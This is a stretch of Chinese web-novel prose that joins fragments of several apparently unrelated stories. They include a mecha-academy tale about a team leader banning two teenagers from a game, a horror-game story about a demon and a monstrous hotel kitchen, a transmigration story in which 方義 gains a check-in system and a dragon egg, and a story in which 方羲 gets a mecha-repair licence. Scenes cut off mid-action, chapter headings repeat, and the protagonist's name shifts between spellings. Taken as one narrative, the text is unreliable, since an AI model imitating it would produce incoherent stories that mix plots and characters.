最终，所有人都得出了共识：大佬使用了变声器，但又不怎么会用，所以才成为了娃娃音。 与此同时，十六区费尔中心军区医院内， 听着主治医生认真的交代，幸好他们送小白来医院及时，否则再晚一点，就会给肺部造成严重损伤的时候，项俞生第一次真正发了火。 他告诉罗小白，从他来到这个领养家庭开始，他就和过去那个随时可能死亡的人生永久的告别了，如果他还是抱着过去一点事情就不死不休的心态来上机甲，那就不要怪自己出手彻底断了他的军校生之路。 “我不希望我教出来的人，最后却死在了自己的执念之上。” 项俞生发火的模样确实很吓人，乔茜无措的伸手揪住了罗扬的衣袖，罗扬见状想要开口劝什么，但又怕自己到时候真的一开口就收获项俞生一句“打包滚”，只得灰溜溜的拉着乔茜去到了医院走廊的座位上坐下。 等到项俞生送了小白去治疗舱，转头臭着脸回来的时候，乔茜立刻站起了身，对着项俞生一板一眼的开始检讨起自己。 “嗯，还有呢？”项俞生故意板着脸，他倒不是真的火大到哪里去，只是担心自己要是再不发火，以后罗小白都是这样不要命的打法，那还得了？ 传感机甲驾驶员最重要的是什么，是自身的身体。 若是身体出了大问题，从此再也开不了机甲，那该有多可惜。 “不过，你能对着小白说出这些话，实际上也是默认了一件事了吧。”乔茜尝试着把自己的心里话说出口：“你也觉得，其实小白开传感机甲，我开电控机甲，还是挺可以的，不是吗？” “嗯……嗯？”一句话，让项俞生忍不住侧目看向了乔茜，乔茜却在这个时候舒展了笑颜：“你故意给我们选择了不合适的机甲，但我们还是用的挺好，这算是，通过考验了吧。” 项俞生：…… 罗扬：…… 这不，这，这回旋镖怎么一转眼就扎回他们身上了？ “是吧，挺好的对不对。”乔茜还想要说什么，项俞生坐不住了索性站起身，看也不敢看乔茜一眼，只眼睛盯着医院的地板道：“好什么好，都给我好好反思，一天不看着你们，就竟会给我们惹事。” 说完，项俞生就匆匆朝着罗小白所在的病房去了，罗扬却在这个时候再也憋不住的大笑出声，还告诉乔茜，她这算是，把队长吃得死死的。 确实，虽然项俞生一直嘴上说着不适合，但打心底，恐怕早就认同了她和罗小白的技术。 否则，又怎么会第一时间就闯进房间，教会罗小白使用飞翼机甲的武器，顺便还帮他修正了发炮的不正确姿势。 不过要他说，无论是小白还是乔茜，多少都是有点“憨憨”气质在身上的，之前乔茜敢什么都没学就入场PK，这好歹还是依赖于她学的是电控机甲，机甲的损伤不至于会传导到身体上，结果换成了小白，绝了，单凭着格斗技巧和体能就敢直接开启擂台赛。 罗扬就想不通了，对付这两个憨憨，对面是有什么大病居然还这么大动干戈的开了擂台赛赌局，他之前看GOO论坛的弹幕，这群人还是一群军校生，唉，这一届的军校生脑子是不是都不太好使啊，希望不要是他们十六区的军校生，不然总感觉军区的未来要亡啊。 只是，让罗扬和乔茜都没有想到的是，从医院回了家之后，乔茜重新登录GOO就喜提了一份未成年“封号”大礼包，只见GOO遗憾的发来通知： “由于您监护人的强烈要求，故GOO启动了未成年防沉迷保护系统，在监护人未开启监护的情况下，您注册的【以理服人】账号，无法登录进GOO”。 好家伙，这是被直接釜底抽薪了啊。 乔茜愣了几秒，开门一出去就看见项俞生很是满意的在和什么人打着电话，电话挂断后还转头通知了乔茜，不仅仅是她，罗小白的号也被封了。 “这……” “在我们没有监护你们的情况下，死心吧。”项俞生说完后，还很是开心的一扯嘴角招呼起乔茜吃晚饭， 眼见乔茜一脸委屈的鼓起自己的脸颊，项俞生心情越发的好了几分，他走上前，故意捏了捏乔茜鼓起来的脸颊，告诉她这段时间，她就不要想着登录自己的号了。 “基础训练和一些必要的机甲训练，到时候罗扬会给你完成。” “至于其他的，你们也是时候消停一段时间了。” 乔茜耸了耸肩，无奈妥协。 而比乔茜更懵的是原本准备特招的联盟国防大学指挥系的系主任，他都已经往上面打好“预留资格”报告了，结果转头一看就发现，这【以理服人】怎么被GOO封号了？ 再一问才得知，这是军部的决定。 “军部？军部的人出来凑什么热闹，不是，他们已经闲到开着变声器出来和广大民众打娱乐局了吗？” “还开的小朋友的声音，变态！” 对于罗小白和乔茜惹起的波澜，军部已经有所耳闻，而更糟糕的是，项俞生和罗扬换孩子养的事情已经彻底瞒不住了。 军区领导很痛心，连长很痛心，指导员也很痛心，最后的处理意见：让项俞生和罗扬这两个家伙，写检讨，还必须写得足够的深刻，不够一千字都不算数。 于是，项俞生小队所在的维和部队公告栏上，就出现了独特的一幕：同一支小队同一个人，表彰文件和公告批评连着本人“深刻”的检讨书都被粘贴到了一处。 连长对此还特别“损”的拍了照，表示这是历史性的一幕，他必须好好记录。 以至于那段时间，项俞生和罗扬回部队总觉得“压力山大”，索性趁着军区暂时安定，两人一纸请假条，先回了家躲清闲。 或许是真的怕了罗小白和乔茜再起什么波澜，两人不仅严格限制了她们上GOO的锻炼时间，还特别用自己的账号，注册出了一个专门可以用于训练的“小号”给这两个人。 唯一的好消息是，项俞生和罗扬也加入了“反骨”的队列，用罗扬的话来说：“反正检讨书都写了，不能白写，他们不是不看好你们吗？” “从今天开始，我们就要和他们对着干，啊，不抛弃不放弃不怕流血和流汗，秀给他们看。” 于是，乔茜和罗小白过上了另外一种诡异的“加训”生活。 GOO内，随着【以理服人】和【小白】两个账号的被封，一代即将崛起的“新星”就此短暂的落幕，取而代之的，是两个被高度看管起来的小号。 这两个小号一看就不是正式的账号，而GOO内，账号主体内还能再创建小号的一般都是有着特殊权限的账号，俗称“大佬”的账号。 所以，无论小白和乔茜溜跶去那个房间观战，那个房间都会掀起一阵儿波澜，奈何两人被再三告诫不能私下PK或者是参加团战，只能看。 于是，这也大大折损了乔茜和小白的上号热情，她们转而把更多的注意力放到了基础的学业上。 之前的“小升初”考试，乔茜虽然顺利升到了初二，但小白却是低空飞过，被强制安排去了初一补习。 转眼一年过去， 乔茜和罗小白又向学校提交了“跨级”考试的申请，他们的打算是，通过这次的考试直接升去高二，而高二读完后，他们就能直接参与到大学的特招中。 不过令两人觉得意外的是， 考试当天，项俞生小队里的队员都来了，用他们的说法是，等到两人考完后，他们会集体给这两人准备了一个惊喜。 “惊喜？”莫非是，真正的机甲？！ 那一刻，乔茜和罗小白都兴奋坏了，朝着项俞生他们竖了个大拇指后就迈步进了特别考场。 然后它们开始主动袭击每一届的真实试炼，故意添一把火，大口大口吞下烧焦的食物。 以此为起点，通过真实试炼的玩家，其实力平均值开始大幅度上涨，但数量却少了很多。 至于酿造这一切的罪魁祸首，则神不知鬼不觉地隐于幕后，仿佛人间惨剧与高高在上的神明毫无关系。 “仔细想想，只让你不去刷副本，好像的确太为难人了，恐怕连黑天鹅也会怀疑我是不是别有目的。” 方羲沉思几秒，微笑道：“一年三百六十五天，异端从来没停止过叫嚣，不管是新晋玩家还是你们，大家都挺累的。” “既然恶魔这么有威信，能够号召大型异端坚持不懈地袭击新晋玩家。那么，它一定也能命令所有异端，停止一切进食的活动，让我们双方短暂和谐相处几个月吧？” “小尾巴，你说对吧？” 躲在白云背后悄悄偷听的恶魔尾巴，忍不住颤抖了一下。 第 67 章 第 67 章 危险！ 秦淮月立刻挡在方羲面前，手中同步凝聚出长枪，全身上下每一个细胞彻底进入战斗状态。 猎人应该需要等待人偶师的命令，才能确定攻击的方位。 但秦淮月下意识抬头，又一次和此前在星航场、列车那样，清晰地看见异端的身影。 收藏家居然拥有疑似造梦家的能力？一点极其细微的困惑在秦淮月脑海闪过，但很快被眼前更紧急的战斗压过。 恶魔的尾巴轻轻一甩，啪地变出人型。 和方杏商量了离开的时间，方杏细致地开始收拾行李，顺便把周围的荆棘果全采摘了。 方義劝了两句，方杏却认真道：“小義，这些可都是你辛苦净化得到的灵食，不好浪费了。” “难得荆棘果味道不错，你又喜欢这一口，到了三等星X-7899可不好买，价格不便宜不说，还很难找到市场。” 荆棘果不太适合人工养殖，大多生长在干旱地带，因此市场上供货量不多。 方義和方杏第一次去三等星X-7899，人生地不熟的，到处都陌生，还真不一定能顺利找到售卖的地点。 要知道，水果一类的灵食大多是线下售卖的，内部就消化完了。 哪怕偶尔上了星网货架，也是在一秒钟不到的时间便售卖一空，特别检验手速。 倒不如现在稍微多花些时间，备得足足的，以免到时候抓瞎。 方杏说得有理有据，又是为了自己考虑，方義自然说不出拒绝的话，只得弯下腰和她一起采摘荆棘果，却被方杏挥手赶走了。 “小義，你忙你的去吧，这边没什么劳动量，差不多两三个小时就能结束，不必在这儿浪费时间。” 方杏虽不知道方義在忙些什么，但方義的成长，她却是真切地看在眼里的。 先是净化师突破二阶，再是惊险反杀佣兵小队，方杏觉得与有荣焉，更觉得心疼，怎么舍得再让方義受累？ “去吧去吧！”方杏笑着推了推方義，见她离开，才继续采摘起荆棘果来。 方義瞧了眼荆棘果的份量，叮嘱了句：“杏子姐，你也别一直弯着腰摘，容易腰酸。摘一会儿就休息一会，咱们明天才动身呢，不着急！” “哎，我知道的。”方杏将采摘的荆棘果放进专门保存的水果盒里，细细的眉毛弯弯的，笑得温柔。 告别了方杏，方義撑着大黑伞，怀抱着青蛋慢吞吞地在沙漠上行走。 【您成功地净化了辐射，签到点+1，净化经验值+10】 【您在沙漠荆棘（二阶）生长地签到，获得荆棘果X20！】 一边控制灵力净化青蛋体内的辐射小黑点，一边在路过的签到地签到。 方義不知不觉间竟然走到了她们初始降落的地方，那里还残存着几块逃生舱的残骸。 原本的签到地【九阶药剂宗师陨落地】已经消失了，只剩下被太阳炙烤得滚烫的沙子，踩在上面十分的烫脚。 “我们要离开了，去的是三等星X-7899，如果不出意外的话，应该是不会再回来了。” 方義站定，纤长卷翘的眼睫上盈着一层浅金色的阳光，碎金般动人。 不知怎的，她心底涌出些许酸涩的不舍来，像是在与什么关系极好的友人道别。 微风拂过她乌黑浓密的长发，不远处的沙草微微摇晃，仿佛是在无声地回应着什么。 就在方義莫名感伤的时候，蓦地听见了签到系统的机械音提示。 【辐射值已降至60以下，抵达安全范围，具有返祖血脉的青蛋（三阶）封印解除中……】 【警告：封印解除失败！】 【警告：封印解除失败！】 【警告：封印解除失败！】 【紧急措施搜寻中……紧急措施搜寻成功……您获得了生门传送阵（0/2），是否进行传送？】 方義：“？？？” 生门传送阵？这是什么东西？ 方義蹙眉，点开了物品说明。 【生门传送阵（0/2）】 【说明：一来一回传送，传送阵的另一头，可能存在着‘具有返祖血脉的青龙蛋（三阶）’封印解除的线索。】 【注意：只有同一星球内才能进行传送（目前您与目的地处于同一星球内）】 怀里的青蛋似乎感知到了什么，下意识往方義的怀里钻得更深些。 方義摸了摸青蛋光滑的表面，只迟疑了片刻，便下定了决心。 可能是【黄粱一梦】技能的缘故，她虽然不记得之前的经历，却对青蛋多了几分爱护，像是对待晚辈般。 再说，人心都是肉长的，这么长时间的相处，她无法对青蛋所处的困境无动于衷。 ‘传送！’方義在心中默念。 下一瞬间，地面亮起了传送阵的白光，将方義整个人包裹其中。 眨眼间，她便从原地消失了。 方義只觉眼前一黑，再次恢复感觉时，便是一阵又一阵的溺水窒息感。 四周全是海水，她身处大海里？ 方義反射性地打开了【火眼金睛】。 周围的辐射黑点多得超乎想象，密密麻麻的，像是一大片的黑色虫子。 这到底是怎么回事！不是说寻找青蛋解除封印的线索吗？怎么把她传送到了大海里！ 最重要的是，她不会水呀！ 方義心中无奈，很快采取了自救措施。 前不久签到出的【衣服套装】里面，就有十件均码的潜水服，从头到脚的那种，穿着正好。 折腾着换了装，一直屏气的方義大口大口地呼吸，脸蛋都涨红了。 她扑腾着游了几圈，行动还算正常。 就是她身体素质太差，潜水服又太重了，游起来动作十分的笨拙。 这也是没有办法的事儿，只能适应着来。 签到系统面板上，【生门传送阵1/2】亮了亮，返程传送点呈现正常的绿色，其他的便没了。 方義扫了眼便没再多看，而是抱紧了青蛋，将注意力放在了附近的白色签到点位置。 ‘安全第一！还不知道封印解除线索究竟是什么，有没有危险，还是得小心为上。先签到吧，看看能不能签出什么有用的东西。’ 不说别的，至少得签到出一个在水底自由活动的金手指来，不然这笨重的潜水服也太耽误事儿了。 【检测到签到地——闪电鳗（二阶）洞穴，是否花费1签到点签到？】 【检测到签到地——蓝色水藻（三阶）生长地，是否花费1签到点签到？】 【检测到签到地——水蘑菇（二阶）生长地，是否花费1签到点签到？】 【……】 ‘签签签！’ 【您获得了【特殊物品：麻痹（一次性）】X1！】 【您获得了【水属性蓝曜石（三阶）】X100！】 【您获得了【特殊buff：美人鱼】X1！】 【……】 【特殊物品：麻痹（一次性）】 【说明：可无视等级差距，令命中对象麻痹3秒钟。】 【特殊buff：美人鱼】 【说明：使用后，可以化出鱼尾，在水底自由呼吸行动，全属性增幅200%】 方義签到点富裕，索性拿了30个做尝试，签到得了一系列稀奇古怪的东西。 大多是杂七杂八的，有用的就那么几个，最令她惊艳的是【特殊物品：麻痹（一次性）】。 别看只是一次性物品，还只有短短的3秒钟，但它是无视等级差距的，堪称神物！ 除此以外，一直到了第26次签到，方義才得了自己想要的物品——【特殊buff：美人鱼】。 她迫不及待地选择了装备。 刚装备，双腿便酥酥麻麻的，化成了一条湛蓝色的鱼尾。 她的脸上和身上都添了些蓝色的鳞片，流光溢彩的，说不出的漂亮。 方義脱掉了笨重的潜水服，整个人轻盈了许多，再无之前的溺水窒息感，只有满满当当的自由和畅快。 抱着青蛋尽情地游了好几圈，方義才意犹未尽地停了下来，开始了搜寻线索的正事儿。 线索并不难找，她开着【火眼金睛】，往辐射值浓度增加的方向游动。 直觉告诉她，真相就藏在那里。 终于，等周围的辐射小黑点已经连成一片，粘稠得令人难以呼吸的时候，方義终于看到了不一样的东西。 那是一具极其庞大的青黑色巨龙骨架，遮天蔽日般横亘在那里，充满了巍峨和恢弘的气势，让人忍不住屏住了呼吸。 方義睁大了双眼，杏眸里满是沉重和震撼。 它瞪大眼睛，迟疑地看向被猫猫吃得一干二净的空盘。 【这是一颗平平无奇的心脏。 新任厨师长的工作态度相当消极。 她理所当然地说：“我又不会炒菜，生肉也能吃吧，直接放盘子里端出去不就行了。有什么问题？” 被掏出心脏的二号侍应生，绝望地呵呵一笑。】 第 68 章 第 68 章 二号侍应生带两名人类进入后厨后，转过头向她们介绍具体的工作。 “我们酒店有很多间厨房，每一个厨师长都可以拥有自己的专属厨房。” “按老规矩来说，厨师长只有工作了人类历二十年，才能获得一张【中级入场券】。但现在是特殊时期，只要你能够满足一个条件，就算不工作，也能获得相同的报酬。” 侍应生简单地说完规则之后，便开始细心地为两只人类介绍厨房布局，生怕她们的智商不够，不能理解厨房是什么东西。 “这是洗碗机，可以自动洗碗。” “这是备菜区，可以洗菜和切菜。” “这是收纳区，盘子和锅具都放在这里。” 炽热的太阳照耀在金黄色的沙子上，好像在闪闪发光。 方義躺在破碎的单人棺材——哦不，准确来说，是被损坏的逃生舱里，欲哭无泪。 往上看，湛蓝的天空、白色的云朵，还有一轮火辣辣的大太阳。 往外看，近处是滚烫的沙子，远处是茫茫海面，一望无际，波光粼粼。 看时间长了，头晕目眩，眼睛还有点疼。 不，不光是眼睛疼，全身上下都在疼，疼得一抽一抽的。 方義没忍住龇牙咧嘴，艰难地转着脖子瞧了瞧自己。 身上到处是被割伤的伤口，有的已经结痂了，有的还在流血。 伤得倒是不深，就是失血过多，身体虚弱得手都抬不起来。 整个人还被卡在破碎的逃生舱里，动弹不得，像是一条快被晒干的咸鱼，怎一个惨字了得！ 最可怕的是，小岛四面环海，整个岛上的生灵除了她，只剩下不远处一个生命垂危的姑娘。 那姑娘看起来情况比她还严重，逃生舱里一摊的血，一直都昏迷着。 方義艰难地哑着嗓子喊了好几声，她也没有半点反应。 方義：“……”算了吧！放弃吧！等死吧！ 方義舔了舔干涩缺水的唇，无力地仰头看天，开始思考自己是怎么沦落到这个境地的。 一个小时前，她还是21世纪一个普普通通的孤儿，经历乏善可陈。 唯一的亮点就是模样和学习能力都不错，顺利地考上了国内TOP2大学。 谁能想到，就在她十年寒窗苦读、终于拿到心仪大学录取通知书的时候，脚底一个打滑，就穿到了这个陌生的世界。 就……离谱！离了大谱！简直是离离原上谱！ 穿越什么的，方義倒不是不能接受，毕竟她本也没有什么牵挂，孑然一身，随心得很。 可这个穿越时间，简直是倒霉她妈给倒霉开门，倒霉到家了！ 行叭，穿就穿了，方義一向是个随遇而安的人，适应能力挺强，很快就接受了现实。 可等她接受了原身的记忆，清楚了原身当下的情形后，心里就只剩下了六个点。 “……” 这是个神奇的星际时代，辐射严重，男性能觉醒异能化成兽形，女性能觉醒灵力成为净化师。 但由于混乱时期的战斗，男女比例失衡，尽管星耀帝国统一后，颁布了一系列相关政策，目前的男女比也才堪堪达到3:1. 再加上女性觉醒灵力的比例远远小于男性觉醒异能的比例，净化师女性便显得十分尊贵，被尊称为贵女。 原身便是一名觉醒了灵力的贵女，而且出身还相当不错。 母亲是一名七阶贵女，二等星球水蓝星的高级军官。 父亲虽没能觉醒异能，却有个九阶异能者的老祖宗，二等星球水蓝星的星球主。 不仅如此，父母的感情还相当不错，生了三儿一女，对她这个唯一的掌上明珠非常宠爱。 这样的家庭背景，尽管原身净化天赋一般，但按照常理，完全可以幸福快乐地过完一生。 可是，在父母和三个哥哥的过度保护下，原身基本上是泡在蜜罐子里长大的。 就像温室里的花朵，养成了一副傻白甜的性格。 在有心人的设计下，原身不小心毁坏了水蓝星的净化大阵，导致在不久后的虫潮中，水蓝星伤亡惨重。 犯下这样的大错，不仅原身被判处流放边缘星系，原身的父母也受了牵连。 母亲的军衔被一降到底，发配到了外城，父亲则直接丢了工作。 就算这样，他们也竭力为原身提供了最后一点儿庇护： ——利用人脉，将原身流放的地点定在了一个条件不错的星球。 虽然属于边缘星系，但发展良好，勉强能和三等星媲美。 可人算不如天算，原身实在太倒霉了些。 乘坐的那班星舰遇到了星际风暴，选择的逃生舱还是假冒伪劣产品，落到这颗荒星后就坠毁了。 原身一连遭受这么多打击，又受了重伤，在身体和心灵的双重打击下，直接就丢了性命。 再次醒来，就变成了方義。 可能是因为换了灵魂的原因，方義虽然得到了原身的记忆，却是模模糊糊的，好似隔了一层，没什么真实感。 所以，开始的时候，她还是壮志凌云，决心要为原身查出真相。 但是理想是美好的，现实是骨感的。 在烈日的炙烤下，方義觉得自己快变成一条烤干的咸鱼，连翻个身都做不到。 明明记忆里原身的体质相当不错。 虽然比不上那些男性异能者，可体内有灵力滋养，又食用了许多天材地宝，身体杠杠的。 可是，方義却感觉到了由内而外的虚弱，尤其是在失血过后，更是虚得不行。 炽烈的阳光透过逃生舱的缝隙照在脸上，方義又渴又饿，恍惚间怀疑自己的穿越之旅可能就要这么结束了。 从头到尾一小时出头，简直是穿了个寂寞。 可是……终究还是有些不甘心。 她想活着！她想活下来！ 【叮！检测到强大的精神力和求生欲，签到系统定位中……】 【定位成功！签到系统绑定中……5％……10％……20％……50％……90％……100％！】 【签到系统绑定成功！您获得5个签到点！】 【检测到签到地——九阶药剂宗师的陨落地，是否花费1签到点签到？】 方義：“？？？” 方義：“！！！” 终于否极泰来了吗！ 这哪里是什么签到系统？这是救苦救难的活菩萨！拯救性命的金手指哇！ “签签签！”方義努力想开口回答，但过分干涩的嗓子仿佛已经失去了发出声音的功能。 幸而这个签到系统十分智能，方義脑海里出现签到的想法之后，系统便迅速地给出了回应。 【签到成功！您获得了恢复药剂（九阶）X10！】 随着系统的机械音，方義感知到了一片介于虚实当中的签到空间。 空间内，蓦地出现了10瓶乳白色的液体。 【恢复药剂（九阶）：虽然不一定能生死人、肉白骨，但只要还有一口气，便能满血复活。】 方義：“！！！” 什么叫心想事成！这就是心想事成哇！ 身体被卡在逃生舱里，活动十分艰难，但人的潜力是无穷的，尤其是生的希望就在眼前的时候。 抱着死马当成活马医的心态，方義取出一瓶恢复药剂，努力偏头，一点点地用牙齿咬开了药剂瓶盖。 刚旋开瓶盖，她便闻到了一股沁人心脾的淡香，原本一刻不停的疼痛似乎都减轻了些。 有效果！ 方義的眼睛亮了亮，伸长脖子，努力地喝掉了瓶子里面的液体。 液体大概10ML左右，呈现淡淡的乳白色，入口即化，很快流过全身。 像是在干涸的沙漠中饮了一杯清泉，身体里的每一个细胞都得到了滋润。 冰冰凉凉的感觉消去了炙热、疼痛和疲惫，四肢逐渐有了力气。 神药哇！ 方義心中赞叹，感动得热泪盈眶。 大概一分钟后，皮肤表面的伤口开始愈合，方義试探着在狭窄的逃生舱里抬手抬脚，活动一切正常。 逃生舱的开启按钮在头顶，坠毁的时候就已经损坏了，外壳也全是裂缝，还有不少掉落的碎片。 恢复行动能力的方義用力撬了撬裂缝。 但“假冒伪劣产品”也非常结实，不是她能掰得开的。 方義换了种思路，在凹陷的那处开启按钮上使劲地按。 周边也雨露均沾，全部均匀地按了一遍，比她做高考数学题的时候还要仔细。 但是，还是不行。 逃生舱还是打不开，她还是被困在里面。 方義累得气喘吁吁，脱力地又躺了回去，有一种想要骂人的冲动。 “这到底是哪家生产的逃生舱！哪里是逃生？根本就是奔着要人命去的！” 方義咬牙切齿地想，吐出一口气，休息的同时顺便探索着绑定的签到系统。 个人界面十分简单。 【方義（LV10） 签到点：4 物品：恢复药剂（九阶）X9 技能：净化师（一阶）】 现实中，她身下的白色光点变成了灰色，显示【签到地——九阶药剂宗师陨落地（重置中）】 远处倒是三三两两还遍布着不少的签到地，可惜受困于逃生舱，她到不了目的地，也就没办法完成签到。 金手指好用，但除了恢复药剂，暂且可能帮不上其他什么忙。 正绞尽脑汁思索着脱困方法，方義忽的被一道刺眼的光闪了下眼睛。 她顺着光芒的方向看去，发现了一个小巧玲珑的五芒星吊坠。 是原身的空间器。 里面不仅有原身父母准备的营养液、衣服和食物，还有好几把防身的武器。 逃生舱坠毁的时候，镶嵌着吊坠的链子断了，吊坠也就掉到了角落里。 要是换成重伤状态，方義还真是无计可施，但如今恢复的她，基本的小范围行动是没问题的。 方義维持着平躺的姿势，艰难地在逃生舱里挪动，又努力伸长手臂，终于够着了那枚亮闪闪的吊坠。 看见里面满满当当的物资，她的眼泪都快掉下来了。 武器有好几把，打了个架子，放得整整齐齐，便于取用。 方義不会用枪-支弹药这样的热武器，就选了个黑色的撬棍，一头尖尖的，在阳光下寒光凛冽。 那撬棍不知道是什么材质制成的，非常锋锐。 在方義手底下像龟壳一样结实的逃生舱，在撬棍的作用下就和纸糊的似的。 顺着裂缝使劲地撬，没一会儿裂缝就越来越大，发出嘎吱嘎吱令人牙酸的声音。 终于，“咔嚓”一声，一块大碎片掉了下来，逃生舱的一面彻底碎了。 方義收回了撬棍，艰难地爬出了逃生舱。 方羲想了想回答：“倒也不是，我只是有点囤货的习惯而已。现在用不上，不代表以后用不上。” 方羲心底寻思着，不如她回头用这些食材做点吃的，直接放在商铺里卖算了。 随便种的苹果都能降低一点腐蚀度，那其他残肢材料搭配起来，说不定也能诞生一些很有趣的效果。 失乐园可怜的玩家们，此时并不知道。不久之后他们会痛并快乐地吃下某人敷衍制作的黑暗料理。 但即使玩家们再如何怨天怨地地吐槽，身体却很诚实，每天早上五点直接堵在139号商铺门口排队。 谁让某人不爱上班，拒绝营业，供货实在有限，且不定时开门，主打一个随心所欲。 第 69 章 第 69 章 “喵呜～” 晨乌猫猫舔完爪爪，尾巴一摇一摇，看上去心情不错。 一号侍应生面露喜悦，小心翼翼地问：“尊贵的猫猫客人，看来这道菜符合您的口味。这是我们新上任的厨师长亲手制作，我立刻让她再为你多做几盘！” 猫猫的金色兽瞳瞬间变得凌厉，死死地瞪向一号侍应生，喉咙发出不悦的威胁叫声。 轻轻一跃，亮出锋利如刀的尖爪。 毛茸茸的身体，轻而易举把【一号侍应生】撕成一条条碎片，流出恶心粘稠的大脑肉汁和血液。 惨兮兮的肉汁试图长出新的血丝，捡起破碎的器官。 猫爪高高拍下。 为了以防万一，她还是在论坛和群里接了一项作业单。 分析师的作业单比代课单性价比更高，并且没有掉马的风险，而且因为她的作业完成的效果很好，竟然诡异的在这个代课群里，有了不少拥趸。 一开张还得靠抢。 方羲挑了几项出价高的单子接下来，记在自己的行程里。 然后预约了医疗院的检查项目。 精神觉醒检查的预约排满，最后只能选到的日期，正好靠近维修师证考核，正好一起。 方羲想了想，拿到维修师证后，她可以向维修师店铺出售武器图谱，甚至可以接武器制作，机甲维修和组装等业务，报价都不低。 预约的检查时间在三月中的下午“羲羲，正好你来了，你看那个”，成维港中的是这个展台后面的展示柜中的武器，“你看那个荷叶甲怎么样，我机甲的胸锁关节这一圈，总是坏，应该是这里的防御薄弱，想买一个这个荷叶甲装上去，这样比较抗揍。” 荷叶甲看上去很轻薄的一片，据说可以柔韧折叠，但是异常抗造。 但只看了一眼，方羲拍了拍成维的肩，“我觉得，不太行。” “首先，这个荷叶甲，谁买谁知道”，方羲看着那个老板还在吹嘘他的合成材料多么锋利，心说，就这个被吹的材料，都能一下把所谓的荷叶甲干碎，“其次，你的机甲本身防御性能就很高，再往上堆叠，只会显得笨重，拖累敏捷度。” “不如试试把枪炮安装改造一下。” 方羲打开光脑，简单的调出一个机甲模型，给他模拟了一下。 她把枪炮安装底座挪到前方，底座改装成推动式，向上抽出枪炮，肩部抵御后坐力，前方的底座部分牵扯着胸锁关节，成为一部分护甲，同时减少关节摩擦。 “然后你的另一边的武器就可以换掉，如果走高防，换成能量盾，走攻击，就换成活动性更高的，比如双枪炮，锤链等等。” 方羲说一种，手上画出一个方案，原本还在观看台上的普罗，和围在他们周围的人群，都被她光脑上的画面吸引了过去。 维修师的分析行外人听的半懂不懂，但只要有眼睛的人，看着她给出的几种武器配置，内心都不自觉的浮现出一个想法： 卧槽，还能这么爽？！ 成维只是看着，就有些激动的想给机甲配置上。 “拿了证就是不一样啊，对了，你接武器制作吗，你说的几种，那个攻击流我还挺喜欢，要不你做一套看看？” 方羲讶异的看了眼他，还没说话，听到周围的人里也有人询问：“请问你接武器制作单吗，我也是这个单兵这样的重型机甲！” 台下的喧闹声让展示的西装男声音一顿，面色阴沉的盯着人群里，被围起来的瘦弱女生。 “草，来砸场子的？” 西装男看方羲年纪不大，成不成年还是另一说，当即就问：“这位同行，你也是维修师协会的，那应该很清楚，我们这些武器的分量，这些都是维修师协会，高级维修师卡因先生的作品。” 方羲压根没进这个协会，她考完后确实有几个人拦着她，问要不要入会，只需要缴纳三百星币。 一听要交钱，方羲马上婉拒，快速抽身走了。 什么卡因大师，她压根不认识。 西装男厅待她淡淡说出不认识三个字，笑得有些阴险： “怎么会，卡因大师可是我们谕光星维修师协会的副主席，你不会是没领证的维修师吧？” 西装男狐疑的看了眼方羲，一张口就给她定性：“小孩子就是喜欢胡闹，没有维修师证，可不能做相关业务。” 西装男阴阳怪气的拖长语调。 方羲从衣兜里，双指一夹，抽出自己的证书。 “不好意思，还真有。” 她谦虚的点了点头，略带歉意的朝西装男道：“对了，你刚才说这是高级维修师的作品，按照市价，应该定在5-10万左右，我看你已经定在12万，好像不太合理，已经帮你转递信息给了商业办，不用谢。” 方羲歪了歪头。 西装男脸色猛地一白，瞪着她，又吓得转身，拿起几样东西收了起来，看样子来路确实有些不正。 方羲见状，带着成维和普罗离开现场。 出来和其他人会合的路上，成维再一次说起武器制作的事情。 方羲点头，“能做，但是先说好，市价，材料费自出。” 她把自己以前接武器制作的过程和成维说了一遍。 对方无意见后，两个人交易正式成立。 和校队会合后的下一站，是精神体喂养剂站点，这种精神体专用营养液，在星际的重要程度，可以和生物种子并列，因此两者建造在一起，都在一个看似露天的环形建筑中。 建筑被分为两半，一边是精神体喂养剂，另一边就是种子市场。 成维要帮贺兰溪带种子回去，方羲没有精神体，也不用买喂养剂，倒是对种子有点好奇，想挑一个回去，看看胡萝卜苗的效果能不能再现。 环形建筑里，空气清新剂的幽香中掺着一股青草气息，虽然香精味道有些浓，但仍然很受星际人喜爱。 一走进种子市场，琳琅满目的盆栽，被玻璃罩子盖起来。 背后是一颗颗分装好，用特殊材质的营养基保证活性的种子。 成维拿着生物系的申请单，购买大批量种子的申请，交给了种子市场的负责人。 对方是一位精神干练的女性，长马尾被盘在脑后，身上穿着青绿的工作服，手上带着隔离手套。 她在成维的申请单上印下种子市场编号的钢印，让工作人员带着成维了批发点。 方羲想要零售单颗种子，被引向了另一边。 她穿过一层层的植物货架，一颗盆栽的枝桠伸出了玻璃罩外，路过时，勾住了方羲的头发。 黑色短发被树枝叉开，露出泛着绿光的发根。 方羲丝毫未觉，周围的清新剂的味道麻痹了她的嗅觉，耀眼的灯光将闪烁的绿色光点照的近乎透明。 随着她走过，一层无形的能量扩散开。 而另一边，羲月静好的精神体喂养剂店铺中。 在环形建筑提供的微型能量场内，精神体都凝聚出了本体，变成宠物大小，紧紧跟随着主人。 当奇异的能量播散时。 所有的精神体，无一例外，全部停下了进食的动作。 谢春时是里面为数不多的，没有展示本体的人。 他正在结算最普通口味的喂养剂，感受到空间中散落的能量光点时，下意识以为能量场降临。 整个人动作一顿，精神紧绷着，蓝光浮现在指尖。 结果下一秒，一声惊呼响起。 方羲上午考了维修师证，中午准备去谕光星材料市场买一批机甲材料。 维修师的考核内容是理论和实操两部分，理论课这段时间，方羲在学习分析师课程的时候，顺带着也完成了，实操就更不用说。 维修师协会颁发的证件是当场通过，当场录入，当场领证。 拿到维修师证后，方羲先上传了资料，完善自己的星网信息。 然后就准备去材料市场。 刚上城际公交，方羲看到了一群人围聚在一起，里面的一个红毛看见她，忙招了招手。 “方羲！” “你去哪？材料市场是不是？” 方羲一上车就被热情的招呼声扑了满脸。 成维笑着拉着她坐过来：“我刚才还问你室友，你来不来，她说你有事去了，怎么样，你也去材料市场？” 方羲今早出门时，顾妗雪正好问到方羲。 “我去考试啊。” 方羲转头回她，看着校队和成维童薇一起，“你们去做什么，材料市场？” “对啊，前几天他们两个打架，打得太凶了吗，武器打坏了”，童薇指了指成维和普罗，然后又指了指顾妗雪和周忱，“他们俩打架，机甲打坏了，武器也打坏了。” 方羲点头，表示理解。 成维和普罗作为同样要参加星际联赛的两位单兵，有切磋是常事。 